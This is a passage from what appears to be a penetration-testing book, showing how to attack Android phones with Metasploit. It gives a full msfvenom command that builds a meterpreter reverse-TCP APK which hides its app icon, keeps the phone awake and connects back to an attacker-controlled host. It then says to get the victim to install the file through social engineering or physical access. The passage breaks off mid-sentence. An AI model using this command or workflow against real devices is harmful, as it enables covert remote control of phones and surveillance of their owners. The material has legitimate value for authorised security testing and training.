Attacking Android with Metasploit
The Android platform can be attacked either by creating a simple APK file or by injecting the payload into the existing APK. We will cover the first option. Let's get started by generating an APK file with msfvenom by issuing msfvenom –platform android –arch dalvik -p android/meterpreter/reverse_tcp AndroidHideAppIcon=true AndroidWakelock=true LHOST=192.168.1.12 LPORT=8080 -f raw -o /var/www/html/MyApp.apk, as follows:
Figure 7.35 – Generating a malicious APK payload with msfvenom
We use msfvenom to produce a malicious .apk file. We have set AndroidHideAppIcon and AndroidWakelock to true to hide the application from the application's menu and keep the phone active if required. On producing the APK file, all we need to do is either convince the victim (perform social engineering) to install the APK file, or physically gain access to the phone. Let's see what happens on the phone as soon as...